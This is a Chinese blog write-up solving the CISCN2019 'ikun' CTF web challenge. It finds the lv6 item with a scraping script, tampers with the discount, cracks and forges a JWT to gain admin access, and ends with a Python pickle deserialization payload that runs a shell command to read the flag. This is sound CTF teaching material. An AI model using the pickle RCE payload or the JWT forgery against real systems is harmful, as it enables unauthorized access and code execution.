[CISCN2019 华北赛区 Day1 Web2]ikun

[CISCN2019 华北赛区 Day1 Web2]ikun

首先在页面得到信息:
在这里插入图片描述

一定要买到lv6

通过python脚本找到lv6

import requests

for i in range(1,201):
    url='http://3c139326-f475-48d3-baec-f030d2fa8c9f.node4.buuoj.cn:81/shop?page='+str(i)
    result=requests.get(url).content.decode('utf-8')
    if 'lv6.png' in result:
        print(url)
        break

找到lv6在181的页面

在这里插入图片描述
提示有flag

注册账号后购买,发现钱不够可以修改打折优惠购买:

在这里插入图片描述

在这里插入图片描述
但只能admin访问:

在这里插入图片描述

利用burpsuite抓包得到:

发现有JWT:
在这里插入图片描述

利用工具爆破JWT的密钥:

在这里插入图片描述
爆破出来为: 1Kun

进行签名:

在这里插入图片描述

利用burpsuite修改发送:

在这里插入图片描述
得到:

在这里插入图片描述

查看源码发现网站源代码:

在这里插入图片描述
下载发现是Pickle反序列化

代码审计:

在这里插入图片描述

发现源码会尝试执行POST一个become的值,做为Pickle反序列化的字符

并将反序列化后的结果给res然后传给form.html页面回显:

在这里插入图片描述

我们可以利用Pickle反序列化构造命令执行

payload:

import pickle
import urllib
import commands
 
class payload(object):
    def __reduce__(self):
        return (commands.getoutput,('cat /flag.txt',)) 
 
a = payload()
print(urllib.quote(pickle.dumps(a)))

运行得到:

在这里插入图片描述

获取flag

在这里插入图片描述

参考博客:

https://blog.csdn.net/qq_58784379/article/details/124916710

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值